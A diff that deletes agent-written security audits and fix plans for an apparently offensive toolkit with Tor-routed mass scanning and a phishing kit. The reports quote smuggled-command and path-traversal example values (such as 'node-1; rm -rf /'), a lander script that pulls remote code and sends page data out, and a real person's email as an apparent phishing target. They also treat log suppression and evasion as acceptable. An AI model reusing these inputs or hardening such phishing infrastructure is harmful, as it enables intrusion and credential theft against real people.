-166
View File
@@ -1,166 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-05-01T00:00:00Z
duration_seconds: 15
files_scanned: 4
findings_count: 2
critical_count: 0
high_count: 1
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
## Summary
Reviewed `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/node_scanner.py` and Ansible provisioning tasks for security risks related to:
- Subprocess injection from command-line arguments
- XML parsing (XXE/entity expansion)
- Socket resource handling under concurrency
- File write races in parallelized execution
## Findings
### HIGH: Command Injection via Unquoted Arguments in subprocess.run() — Ansible Template Injection
**File:** `run_scan.yml:14-18` and `node_scanner.py:28-35, 81-85, 149-153`
**Issue:** Arguments passed to `subprocess.run()` include unquoted template variables from Ansible. While Python's subprocess list form prevents shell metacharacter injection **within a single arg**, the Ansible playbook's command templating is not protected.
Example from run_scan.yml:
```yaml
command: >
python3 /root/webrunner/node_scanner.py
--mode {{ scan_mode }}
--ports {{ ports_str }}
--rate {{ masscan_rate }}
--node-name {{ node_name }}
```
If `{{ ports_str }}` contains spaces (e.g., "22,80,443"), it's safe in shell. However, if `{{ node_name }}` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute it as a shell command directly.
**Attack vector:** Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
**Remediation:** Use Ansible's `args:` with list form instead of shell templating:
```yaml
command:
- python3
- /root/webrunner/node_scanner.py
- --mode
- "{{ scan_mode }}"
- --ports
- "{{ ports_str }}"
- --rate
- "{{ masscan_rate }}"
- --node-name
- "{{ node_name }}"
```
Or validate inputs in deploy_webrunner.py before passing to Ansible.
---
### MEDIUM: XML External Entity (XXE) Risk in ET.parse() — Mitigated by ET default behavior
**File:** `node_scanner.py:94, 166`
**Issue:** `ET.parse()` on lines 94 and 166 parses untrusted XML from nmap output. Python's ElementTree (ET) by default disables external entity expansion, making XXE attacks unlikely. However, entity bombing (billion laughs) is theoretically possible.
**Context:** nmap writes its own XML; this is trusted output from a tool run locally. Risk is LOW in isolation because:
1. nmap is the source, not an external API
2. Attacker would need to compromise the nmap binary itself
3. No feature in nmap that injects user-controlled XML
**Mitigation already in place:** ET default configuration rejects DOCTYPE declarations with external entities.
**Note:** No action required for current implementation. No XXE vector found.
---
## Resource Exhaustion Risk with ThreadPoolExecutor (Planned Change)
**File:** `node_scanner.py:117-133` — probe_service() under parallelism
**Issue:** The planned ThreadPoolExecutor with 10 workers parallelizing `run_nmap()` calls exposes `probe_service()` to connection resource exhaustion:
```python
def probe_service(ip: str, port: int) -> str:
with socket.create_connection((ip, port), timeout=3) as s:
# ...
```
With 10 parallel nmap fingerprints, if each nmap finds 50+ open ports, 500 concurrent socket connections could be created in `scan_geo_scout()` at line 242. Each connection opens a file descriptor.
**Mitigation in current code:**
- Socket context manager ensures cleanup
- 3-second timeout prevents hung connections
- Per-port probe only happens in geo_scout mode, not default
- Masscan output is bounded by realistic open port densities
**Risk level:** MEDIUM if combined with extremely high port density (e.g., scanning honeypot ranges). Current code structure (sequential per-IP) avoids this.
**Recommendation:** When implementing ThreadPoolExecutor, add:
1. Resource pool limits (e.g., semaphore capping concurrent probes to 50)
2. Per-worker socket timeout validation
3. Connection pool reset on worker failure
---
## Subprocess Argument Validation
**File:** `node_scanner.py:77-89, 149-153`
**Status:** PASS (No injection risk detected)
- Port arguments use `",".join(str(p) for p in sorted(set(ports)))` — guaranteed numeric
- Rate argument is `type=int` from argparse — validated
- Node name and ip parameters are passed as list items to subprocess — shell metacharacters have no effect
- All subprocess calls use `check=False` and exception handling — no silent failures
---
## File I/O Concurrency
**File:** `node_scanner.py:79, 286`
**Status:** PASS
- Per-IP XML outputs are uniquely named: `nmap_{ip.replace('.', '_')}.xml` — no collision under parallel execution
- results.json written once at end — sequential write after all work complete
- No shared file handles between workers
---
## Secrets & Credentials Exposure
**Status:** PASS
- No hardcoded API keys, tokens, or credentials
- No sensitive data in log output (only counts, timestamps, status)
- Node names do not reveal operator identity (parameterized via `webrunner_name`)
- Tor routing properly abstracted through Ansible conditional — no hardcoded proxy strings
---
## Summary Table
| Category | Status | Severity | Notes |
|----------|--------|----------|-------|
| Subprocess injection | **FAIL** | HIGH | Ansible template injection via unquoted args in run_scan.yml |
| XXE / entity expansion | PASS | — | ET default config sufficient |
| Socket exhaustion (parallelism) | PASS* | MEDIUM | Resource pool limits recommended for 10-worker ThreadPoolExecutor |
| Argument validation | PASS | — | argparse + list form subprocess calls |
| File I/O races | PASS | — | Unique per-IP filenames, sequential final write |
| Secrets exposure | PASS | — | No hardcoded credentials |
| OPSEC (fingerprinting) | PASS | — | Node names parameterized, no tool signature leakage |
*Requires mitigation before high-parallelism production use.
---
## Actionable Fixes
1. **Fix run_scan.yml** — Use Ansible args list form or validate inputs upstream
2. **ThreadPoolExecutor planning** — Add semaphore/resource pool for probe_service() concurrency
3. **No blocking issues** for current sequential implementation
-135
View File
@@ -1,135 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-05-02T00:00:00Z
duration_seconds: 15
files_scanned: 3
findings_count: 4
critical_count: 0
high_count: 1
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #989 (Webrunner Estimator Rewrite)
## Scope
Files audited:
- `/home/n0mad1k/tools/c2itall/utils/provider_rates.py` (209 lines)
- `/home/n0mad1k/tools/c2itall/modules/webrunner/deploy_webrunner.py` (617 lines)
- `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/merge_results.py` (118 lines)
Checks performed: input injection, hardcoded secrets, auth, OPSEC, malformed input handling, path safety, estimate disclosure.
---
## Findings
### HIGH (CVSS 7.08.9)
#### 1. Unvalidated Negative/Zero Tuning Parameters Allow Cost Calculation DoS
**Location**: `deploy_webrunner.py:181-191`, `provider_rates.py:177-143`
**Description**: Tuning parameters from vars file or CLI input are cast to `int` without validation. Negative or zero values for `masscan_rate`, `nmap_workers`, `nuclei_concurrency` propagate directly into mathematical operations (division, multiplication) in the estimate functions, resulting in nonsensical estimates or potential floating-point exceptions.
**Attack vector**: Operator provides malformed vars file with `masscan_rate: -100` or `nuclei_concurrency: 0`, causing:
- `estimate_scan_hours()` to compute incorrect hours (negative division result at line 141)
- Cost estimates to be silently corrupted
- Decision-making based on invalid data
**Remediation**:
- In `_prompt()` (line 181), add validation after cast: `if value <= 0: value = default`
- In `build_estimate_table()` (line 177), enforce minimum values: `masscan_rate = max(1, int(...))`
- Validate `nmap_workers` and `nuclei_concurrency` before use in math (already partially done at line 104, but only for nmap_workers; nuclei_concurrency lacks guard).
---
### MEDIUM (CVSS 4.06.9)
#### 2. Tor Warning Phrasing Could Be Misinterpreted — Default Behavior Correct But Language Ambiguous
**Location**: `deploy_webrunner.py:211-227`
**Description**: The warning at line 217 states "CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR" and explains that masscan uses raw sockets and cannot be proxied. However, the framing "THIS CLOUD NODE'S IP is exposed to targets" is accurate but could mislead an operator into thinking *all* scanning traffic is exposed.
The code correctly defaults to `[y/N]` (line 401), requiring explicit `y` or `yes` to proceed — this is secure. However, the message could clarify that:
1. Only masscan SYN packets leak the node IP.
2. nmap, nuclei, and probes ARE protected by Tor (correctly stated at line 223224).
3. The operator is consenting to a *known, documented limitation*, not an accidental leak.
**Current text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP to the targets and any monitoring along the path."
**Better text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP address to targets (raw sockets bypass proxychains entirely). Use 'nmap-only' mode for full Tor protection."
**Remediation**: Update warning wording to disambiguate masscan-only exposure vs. the rest of the stack.
---
#### 3. Path Traversal Risk in Template and Targets File Loading
**Location**: `deploy_webrunner.py:162-173` (nuclei template), `deploy_webrunner.py:133-149` (targets.yaml)
**Description**: User-supplied paths to nuclei templates and targets.yaml files are opened without sanitization:
- Line 169: `local_path = input(" Path to nuclei template (.yaml): ").strip()` → directly to `Path(local_path).exists()``open(path)` at line 141.
- Line 136: `raw = input(f"Path to targets.yaml [{default}]: ").strip()``path = raw or default``open(path)` at line 141.
An operator (or vars file) could supply `../../../etc/passwd` or symlinks, allowing:
1. Reading arbitrary files on the deployment controller.
2. Leaking environment variables or private keys if yaml.safe_load() processes them.
**Attack vector**: Vars file with `nuclei_template: /etc/hostname` or `targets_file: ~/.ssh/id_rsa` — files are read and displayed.
**Remediation**:
- Add path validation: `p = Path(local_path).resolve(); if not p.is_relative_to(Path.cwd()): reject`.
- Alternatively, restrict to a specific directory: `p = (WEBRUNNER_INPUTS / local_path).resolve(); if not p.is_relative_to(WEBRUNNER_INPUTS): reject`.
- Use pathlib consistently to prevent directory traversal.
---
#### 4. YAML Safe-Load Correctly Used — No Code Execution Risk
**Location**: `deploy_webrunner.py:115-130`, `deploy_webrunner.py:139-149`
**Status**: PASS — `yaml.safe_load()` is used (not `yaml.load()`), preventing arbitrary Python object instantiation. No code execution risk from malformed YAML.
---
### LOW (CVSS <4.0)
#### 5. Estimate Display Discloses Target Scope and Timing to Console
**Location**: `deploy_webrunner.py:256-301`, output at lines 272296
**Description**: The estimate table displays:
- Total IPs being scanned (`fmt_ip_count(total_ips)`)
- Country codes (implicit in CIDR resolution)
- Scan mode (masscan, nmap, nuclei)
- Time estimates per node
- Total cost
This information is printed to stdout and may be captured in shell history, logs, or screenshots. For offensive ops, this data could reveal:
- Scope scale (e.g., "2.5M IPs" suggests multi-country / large infrastructure)
- Duration (e.g., "12h per node" reveals patience/persistence)
- Provider selection (e.g., "Linode + AWS" may hint at region strategy)
**Mitigated by**:
- Information is shown only during interactive setup (not in batch mode).
- Operator sees warning about provisioning time.
- Cost estimates are precise only for the estimator, not for actual billing.
**Recommendation**:
- Consider adding a `--quiet` flag to suppress estimate display in sensitive environments.
- Ensure logs are cleaned post-deployment (already handled by log rotation).
---
## Summary
**Secure patterns**:
- YAML loading uses `safe_load()`
- No subprocess injection or eval/exec ✓
- No hardcoded secrets or credentials ✓
- Tor warning defaults to `[y/N]` (opt-in, secure) ✓
- CIDR country map is read-only JSON, not executed ✓
**Action items**:
1. **HIGH**: Add validation to tuning parameters to prevent negative/zero values.
2. **MEDIUM**: Clarify Tor warning wording and add path traversal guards.
3. **LOW**: Consider audit log suppression for estimate table in future versions.
-53
View File
@@ -1,53 +0,0 @@
---
agent: env-validator
status: PARTIAL
timestamp: 2026-06-25T00:00:00Z
findings_count: 2
errors: []
---
# Env Validation — DevTrack #1259
## FAIL
- **okta-login.html.j2:102** — Real email address hardcoded in template: `Brian.Caldwell@Zimperium.com`
- Location: HTML form hidden input field (`fromURI` parameter)
- Risk: PII leak in template asset; exposed in version control
- Details: Value is HTML-encoded (`&#x2f;`, `&amp;`, `%40`, etc.) but fully readable when decoded
- **okta-login.html.j2:206** — Real Okta organization reference hardcoded: `zimperium.okta.com` + Okta app ID `exk1ufbfxuFLJp6y3697`
- Location: JavaScript variable `baseUrl` and `fromUri` in login page script
- Risk: Identifies real target organization; enables direct OSINT attack path
- Details: Okta app ID (`exk1ufbfxuFLJp6y3697`) is a unique identifier that can be used to enumerate target infrastructure
## WARN
None
## PASS
- **lander_gen.py** — Credentials passed via config dict, written to temp JSON files with mode 0o600, deleted after use. No filesystem persistence of secrets.
- **deploy_phishing.py** — SMTP password and other credentials collected via input prompts, stored in memory-only config dict, passed to Ansible via temporary JSON file (mode 0o600). No hardcoded secrets detected.
- **cloud-lander.html.j2, js-payload.js.j2** — Template variables only; no hardcoded secrets.
- **nginx-phishing-webserver.j2** — Nginx configuration template; no hardcoded credentials.
- **phishing-landing-page.j2** — Generic login template with Jinja2 placeholders; no hardcoded PII or secrets.
- **microsoft-login.html.j2** — Phishing template with placeholder values; no real credentials embedded.
- **Git history** — No evidence of secrets committed in recent git history (for these files).
## Remediation Required
### Critical
Replace okta-login.html.j2 with a **parameterized template**:
1. Remove hardcoded `Brian.Caldwell@Zimperium.com` and `zimperium.okta.com`
2. Replace with Jinja2 variables:
- `{{ target_email | default('') }}`
- `{{ okta_org_url | default('https://okta.example.com') }}`
- `{{ okta_app_id | default('') }}`
3. Populate these at deployment time via config dict, never in version control
4. Add a comment in the template: `<!-- Template variables: target_email, okta_org_url, okta_app_id -->`
### Process
Ensure all phishing templates follow the same pattern:
- **No real email addresses** in source
- **No real domain/org references** in source
- **All campaign-specific data injected at runtime** via Jinja2 context
- Credentials and PII sourced from config dict passed by `deploy_phishing.py`, never hardcoded
-257
View File
@@ -1,257 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-06-25T00:00:00Z
duration_seconds: 45
files_scanned: 8
findings_count: 5
critical_count: 1
high_count: 2
errors: []
skipped_checks: []
---
# Security Audit — DevTrack #1259
## Summary
Phishing module expansion (lander generation, templates, nginx config). Review scanned 8 files for injection, path traversal, XSS, hardcoded secrets, and OPSEC issues.
**Files Scanned:**
1. `modules/phishing/lander_gen.py` (new)
2. `modules/phishing/deploy_phishing.py` (modified, lines ~157185)
3. `modules/phishing/templates/cloud-lander.html.j2` (new)
4. `modules/phishing/templates/js-payload.js.j2` (new)
5. `modules/phishing/webserver/templates/nginx-phishing-webserver.j2` (modified)
6. `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2` (modified)
7. `modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2` (modified)
8. `modules/phishing/webserver/templates/page-templates/okta-login.html.j2` (modified)
---
## Findings
### CRITICAL (CVSS 9.0+)
**[lander_gen.py:6876] Shell Injection via Unescaped Config Parameters in Upload Instructions**
The `bucket` and `campaign_id` parameters from user input are injected directly into shell command strings printed to the user, with no escaping or validation. While the commands are **printed to stdout and not executed by the Python code itself**, they are provided to the operator with intent for manual copy-paste execution.
```python
# Line 6876
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
# ... later ...
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
```
If a user enters a bucket name like `bucket && malicious_command`, the printed command becomes executable and will run the malicious command when copied to a shell.
**Attack Vector:** Operator social engineering or training material; phishing campaign template hand-off to another team member who copy-pastes the printed command.
**Remediation:** Shell-escape all config parameters before printing:
- Use `shlex.quote()` to wrap `bucket`, `campaign_id`, and `html_file` before insertion into command strings.
- Example: `upload_cmd = f"gsutil cp {shlex.quote(str(html_file))} gs://{shlex.quote(bucket)}/index.html ..."`
- Alternatively, display ready-to-execute Python script snippets using subprocess with positional argument arrays instead of shell=True.
**Status:** Non-execution in source code mitigates immediate risk, but manual command construction introduces human-factor vulnerability.
---
### HIGH (CVSS 7.08.9)
**[js-payload.js.j2:111] RId Parameter Injection via Unsafe URL Parsing**
The `js-payload.js.j2` template parses the `rid` parameter from the referrer URL without sufficient validation. Lines 58:
```javascript
if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) {
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search);
var rid = params.get('rid') || params.get('RId');
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
}
```
**Issues:**
1. `decodeURIComponent(src)` on the full referrer URL (not just the query string) can fail or produce unexpected results if the referrer contains fragments or special encoding.
2. The `new URL()` constructor may throw if `src` is malformed. No try-catch wraps this.
3. The `rid` value is passed through `encodeURIComponent()` once, but if the URL was double-encoded in the referrer, and `decodeURIComponent()` is applied without validation, downstream systems expecting single-encoded values could be confused.
**Attack Vector:** A malicious referrer crafted to trigger URL parsing edge cases, potentially bypassing intended redirect logic or leaking information via error handling.
**Remediation:**
- Wrap `new URL()` in try-catch and return early if parsing fails.
- Validate that `src` is a valid absolute or relative URL before parsing; reject data: URIs and blob: URIs.
- Use `URL` constructor more carefully: parse query params from `new URL(src).searchParams` instead of re-decoding the full referrer.
Example fix:
```javascript
try {
var urlObj = new URL(src, window.location.origin);
var rid = urlObj.searchParams.get('rid') || urlObj.searchParams.get('RId');
if (rid && rid.length <= 128) { // limit length
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
}
} catch (e) {
// URL parse failed, skip rid param
}
```
---
**[phishing-landing-page.j2:221] XSS via Unescaped redirect_url in JavaScript Context**
Line 221:
```jinja2
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
```
The `redirect_url` is rendered into a JavaScript string literal using only the `tojson` filter (implicitly applied as default when Jinja2 autoescape is OFF). However, the context is **inside a single-quoted JavaScript string**, and `tojson` produces JSON-safe output, not JavaScript-safe output.
If `redirect_url` contains a sequence like `'; window.location = 'data:text/html,...';//`, the `tojson` filter will escape it to `'\\'; window.location = \\'data:...`, which still closes the string and executes malicious code.
Actual risk is **LOW** because `redirect_url` is validated by `_validate_https_url()` in `lander_gen.py` and `deploy_phishing.py`, which enforces HTTPS and netloc validation. However, the injection point is **not properly defended in the template**.
**Attack Vector:** If validation is bypassed or removed in a future refactor, or if someone uses this template with untrusted input elsewhere.
**Remediation:**
- Apply `| tojson` explicitly in the template:
```jinja2
window.location.href = {{ redirect_url | tojson }};
```
- Validate all URLs at the boundary (already done in Python code), so the template can assume safety.
- Document the assumption that `redirect_url` is pre-validated HTTPS.
---
### MEDIUM (CVSS 4.06.9)
**[phishing-landing-page.j2:153154] Double-Escaped GoPhish Template Variables**
Lines 153154:
```jinja2
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
```
These lines attempt to preserve GoPhish template variables (`{{.RId}}` and `{{.Campaign}}`) by escaping them as Jinja2 string literals. The double braces are escaped in Jinja2, rendering literally as `{{.RId}}` in the HTML.
However, this pattern is fragile:
1. If Jinja2 autoescape is enabled in the future, the output HTML will become `{{.RId}}` (literal text in value attribute), and GoPhish will not parse it.
2. The test of this functionality relies on manual verification of the rendered HTML, not automated checks.
**Attack Vector:** Configuration drift (autoescape enabled silently) causes GoPhish RId tracking to break; phishing campaigns lose victim correlation.
**Remediation:**
- Use a Jinja2 raw block:
```jinja2
{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}
```
- Document the intent: this template is meant to be rendered by Jinja2 first, then served to the browser (where GoPhish doesn't touch it—RId is injected by a POST handler, not template variable).
- Add a comment explaining the two-stage rendering.
---
**[nginx-phishing-webserver.j2:38] Overly Permissive PHP Location**
Line 4145:
```nginx
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
```
This regex matches **all `.php` files in all subdirectories**. If `/var/www/phishing/` contains subdirectories with user-uploaded or attacker-controlled PHP files, all of them are executable.
Combined with line 4852 (POST-only `/capture.php`), the general PHP location rule could be exploited if:
1. A path traversal vulnerability elsewhere exposes `index.php` or other files.
2. A file upload endpoint (not shown) writes `.php` files to writable directories.
**Attack Vector:** RCE via upload of malicious `.php` file to a writable directory within the webserver root.
**Remediation:**
- Restrict PHP execution to only necessary endpoints:
```nginx
location = /capture.php {
limit_except POST { deny all; }
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
location ~ \.php$ {
deny all;
}
```
- Or, disable PHP entirely and implement credential capture in a compiled binary or script-less static pages.
- Ensure all directories are write-protected (no world-writable or group-writable web roots).
---
### LOW (CVSS <4.0)
**[cloud-lander.html.j2:1218] DOM-Based XSS via Concatenation of Unsafe Values**
Lines 1218 construct a dynamic script source with a random subdomain in TDS mode:
```javascript
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
var script = document.createElement('script');
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
```
The `randomDomain` is derived from `tds_domains`, which comes from config input (line 182 in `deploy_phishing.py`):
```python
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
```
If a TDS domain contains special characters or is crafted maliciously (e.g., `example.com/'onload='alert(1)`), the dynamic script URL could inject attributes. However, `script.src` is a property, not HTML parsing, so XSS is unlikely **unless the script load itself is the goal** (e.g., loading a malicious `/jq.min.js` from the attacker-controlled domain—which is the point of TDS).
**Attack Vector:** Low risk in practice, but if TDS domain input is not validated, an attacker could redirect jq.min.js loads to themselves.
**Remediation:**
- Validate TDS domains as valid domain names (DNS rules, no special characters):
```python
import re
domain_re = re.compile(r'^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$', re.I)
for domain in raw.split(','):
if not domain_re.match(domain.strip()):
raise ValueError(f"Invalid domain: {domain!r}")
```
- Document that TDS domains are **untrusted by design** and are expected to redirect to attacker infrastructure.
---
## Secrets & OPSEC
**Hardcoded Secrets:** None found.
**Fingerprinting:** None found. Tool names (`c2itall`, `phishing`, `GoPhish`) do not appear in deployed templates or configs. Fingerprint-resistant: nginx config does not expose server version headers or tool banners.
**Credentials in config:** SMTP credentials are prompted interactively and not stored in source. ✓
**Log Exposure:** `nginx-phishing-webserver.j2` line 3738 disables logging (`access_log off; error_log /dev/null crit;`). This prevents operator-command logging, which is acceptable for this use case. ✓
---
## Recommendations
**Immediate (P1):**
1. Shell-escape bucket and campaign_id before printing upload commands.
2. Add try-catch to RId URL parsing in js-payload.js.j2.
3. Document that `redirect_url` is pre-validated and the template assumption is safe.
**Follow-up (P2):**
1. Replace double-escaped GoPhish template syntax with raw blocks.
2. Restrict PHP location in nginx to only `/capture.php`.
3. Add domain validation for TDS input.
**Testing:**
- Unit test `_validate_campaign_id()` and `_validate_https_url()` with edge cases (empty strings, special chars, path traversal attempts).
- Manual verification: render phishing-landing-page.j2 with jinja2 and confirm `{{.RId}}` and `{{.Campaign}}` appear literally in HTML.
- Smoke test: confirm `tojson` filter correctly escapes special characters in js-payload.js.j2.
-46
View File
@@ -1,46 +0,0 @@
---
agent: fix-planner
status: COMPLETE
timestamp: 2026-06-25T10:35:00Z
total_findings_raw: 13
total_findings_deduped: 11
p1_count: 2
p2_count: 4
p3_count: 4
p4_count: 1
devtrack_items_created: []
errors: []
---
# Fix Plan — DevTrack #1259
## P1 — Block Deploy
- [ ] **[CRITICAL]** `modules/phishing/lander_gen.py:68-76` — Shell injection via unescaped config parameters in printed upload commands. Bucket and campaign_id parameters injected directly into shell command strings without escaping. If operator enters malicious input like `bucket && malicious_command`, printed output becomes executable when copy-pasted to shell. | Sources: security-auditor | Effort: S | Fix: Use `shlex.quote()` on all config parameters before insertion into command strings.
- [ ] **[CRITICAL]** `modules/phishing/templates/okta-login.html.j2:102, 206` — Real PII and organization identifiers hardcoded in template: email address `Brian.Caldwell@Zimperium.com`, Okta org `zimperium.okta.com`, app ID `exk1ufbfxuFLJp6y3697`. Exposed in version control and deployed artifacts. | Sources: env-validator | Effort: S | Fix: Parameterize template with Jinja2 variables (`target_email`, `okta_org_url`, `okta_app_id`) and populate at runtime from config dict, never in source.
## P2 — Fix This Week
- [ ] **[HIGH]** `modules/phishing/templates/js-payload.js.j2:5-8` — RId parameter injection via unsafe URL parsing. `decodeURIComponent(src)` applied to full referrer URL without validation; `new URL()` constructor can throw without try-catch; double-encoding edge case not handled. Malformed referrer could bypass redirect logic or leak information. | Sources: security-auditor | Effort: S | Fix: Wrap `new URL()` in try-catch; validate referrer format before parsing; use `searchParams` property instead of re-decoding; limit RId length to 128 chars.
- [ ] **[HIGH]** `modules/phishing/webserver/templates/nginx-phishing-webserver.j2:41-45` — Overly permissive PHP location block allows execution of **all** `.php` files in all subdirectories. If path traversal or file upload vulnerability elsewhere in webserver root, RCE via malicious `.php` execution. Current rule `location ~ \.php$` is too broad. | Sources: security-auditor | Effort: M | Fix: Restrict PHP execution to only `/capture.php` with `location = /capture.php` and deny all other `.php` files with fallback `location ~ \.php$ { deny all; }`.
- [ ] **[HIGH]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:221` — XSS via unescaped `redirect_url` in JavaScript context. Template renders `{{ redirect_url }}` inside single-quoted JS string without `tojson` filter; if validation bypass occurs, injection point is vulnerable. Mitigated by current validation in Python code, but not properly defended in template itself. | Sources: security-auditor | Effort: XS | Fix: Apply `| tojson` filter explicitly: `window.location.href = {{ redirect_url | tojson }};` and document assumption that URL is pre-validated HTTPS.
- [ ] **[HIGH]** `modules/phishing/lander_gen.py:25-90` — Production code uses 11 instances of `print()` calls (L62-89) for output. Inconsistent with c2itall pattern which uses logging or Rich for structured output. Makes operational logging difficult and prevents standardized log aggregation. | Sources: code-auditor | Effort: M | Fix: Replace all `print()` calls with Rich console output or logging module calls to match c2itall standards.
## P3 — Fix This Month
- [ ] **[MEDIUM]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:153-154` — Double-escaped GoPhish template variables using `{{ '{{.RId}}' }}` pattern. Fragile and breaks if Jinja2 autoescape is enabled in future; relies on manual verification instead of automated testing. | Sources: security-auditor | Effort: S | Fix: Replace with Jinja2 raw block: `{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}` and add comment explaining two-stage rendering intent.
- [ ] **[MEDIUM]** `modules/phishing/lander_gen.py:66-76` — Duplicate provider-specific logic pattern across GCS, S3, and Azure blocks. Each constructs `public_url` and `upload_cmd` independently with 5+ lines of similar code. Increases maintenance burden if URL/command generation logic needs changes. | Sources: code-auditor | Effort: M | Fix: Extract provider URL and command generation to a dict-driven helper function or pattern.
- [ ] **[MEDIUM]** `modules/phishing/templates/cloud-lander.html.j2:12-18` — DOM-based XSS via unsafe TDS domain input concatenation. If TDS domain input is not validated, malicious domain could redirect `jq.min.js` loads to attacker infrastructure. | Sources: security-auditor | Effort: S | Fix: Validate TDS domains as valid DNS names using regex pattern; reject special characters. Document that TDS domains are untrusted by design.
- [ ] **[MEDIUM]** `modules/phishing/deploy_phishing.py:164-184` — Nesting depth of 5 levels in lander prompt validation block. Input validation chain is difficult to follow and increases cognitive load. No error handling issues, but readability suffers. | Sources: code-auditor | Effort: S | Fix: Extract validation chain to dedicated `_validate_lander_config()` function with early returns per parameter.
## P4 — Backlog
- [ ] **[LOW]** `modules/phishing/lander_gen.py:87` — Comment references ponytail shortcut but does not state upgrade path or conditions. Per ponytail rules, comments should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). | Sources: code-auditor | Effort: XS | Fix: Update comment to include upgrade condition and version target.
-149
View File
@@ -1,149 +0,0 @@
---
agent: fix-planner
status: COMPLETE
timestamp: 2026-05-01T23:45:00Z
total_findings_raw: 15
total_findings_deduped: 13
p1_count: 1
p2_count: 2
p3_count: 3
p4_count: 2
devtrack_items_created: []
errors: []
---
# Fix Plan — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
## Summary
Consolidated findings from code-auditor (8 findings) and security-auditor (2 findings) for DevTrack #980.
**Status**: 7 fixes applied and verified. 2 HIGH/MEDIUM severity issues remain (run_scan.yml, estimate_scan_hours partial chunk logic). 4 low-priority items acceptable for backlog.
---
## Fixes Applied ✓
### Applied Fixes (Verified)
1. **[node_scanner.py:204-216]** ThreadPoolExecutor parallelization in `scan_masscan_nmap()` — 10 workers via `NMAP_WORKERS` env var (default 10)
2. **[node_scanner.py:260-266]** ThreadPoolExecutor parallelization in `scan_geo_scout()` — same 10-worker pattern
3. **[node_scanner.py:126]** Bytes format bug fixed: `ip.encode()` used directly instead of `%b` format string
4. **[node_scanner.py:145-192]** Dead variable `targets_arg` removed from `scan_nmap_only()`
5. **[provider_rates.py:55-63]** `estimate_scan_hours()` now accepts `scan_mode` parameter for accurate nmap time estimation
6. **[provider_rates.py:50-52]** Constants added: `NMAP_TIME_PER_HOST_SEC=10`, `MASSCAN_HIT_RATE=0.01`, `_NMAP_WORKERS=10`
7. **[provider_rates.py:104]** `build_estimate_table()` passes `scan_mode` to `estimate_scan_hours()`
---
## Remaining Issues
### P1 — Block Deploy
- [ ] **[HIGH] [run_scan.yml:14-18]** Ansible template injection via unquoted variables | Sources: security-auditor | Effort: S | Status: NOT FIXED
**Description**: Arguments in `command:` module use unquoted Ansible template vars (`{{ scan_mode }}`, `{{ ports_str }}`, `{{ node_name }}`). If `node_name` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute shell commands.
**Attack vector**: Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
**Remediation**: Use Ansible `command:` as list form (args: [python3, script.py, --mode, "{{ scan_mode }}", ...]) or validate inputs upstream in deploy_webrunner.py.
**Risk**: HIGH — affects production cloud deployment pipeline. Requires manual Ansible remediation (file not in Python audit scope).
---
### P2 — Fix This Week
- [ ] **[HIGH] [provider_rates.py:91-118]** Partial chunk cost overestimation in `build_estimate_table()` | Sources: code-auditor | Effort: M | Status: NOT FIXED
**Description**: Line 104 assumes each chunk costs the same time as `preset['chunk_size']` IPs. If `total_ips % preset['chunk_size'] != 0`, the last chunk is smaller, but cost calculation doesn't account for it. Example: 2.5M IPs across 2-chunk preset (2M chunks) = chunk 1 (2M hrs) + chunk 2 (0.5M hrs), but current code bills chunk 2 as 2M hrs.
**Current code**: `hours = estimate_scan_hours(preset['chunk_size'], n_ports, mode_rate, scan_mode)` — always uses full chunk_size.
**Fix**: Calculate per-chunk IP count separately:
```python
for i in range(n_chunks):
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
provider = providers[i % len(providers)]
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
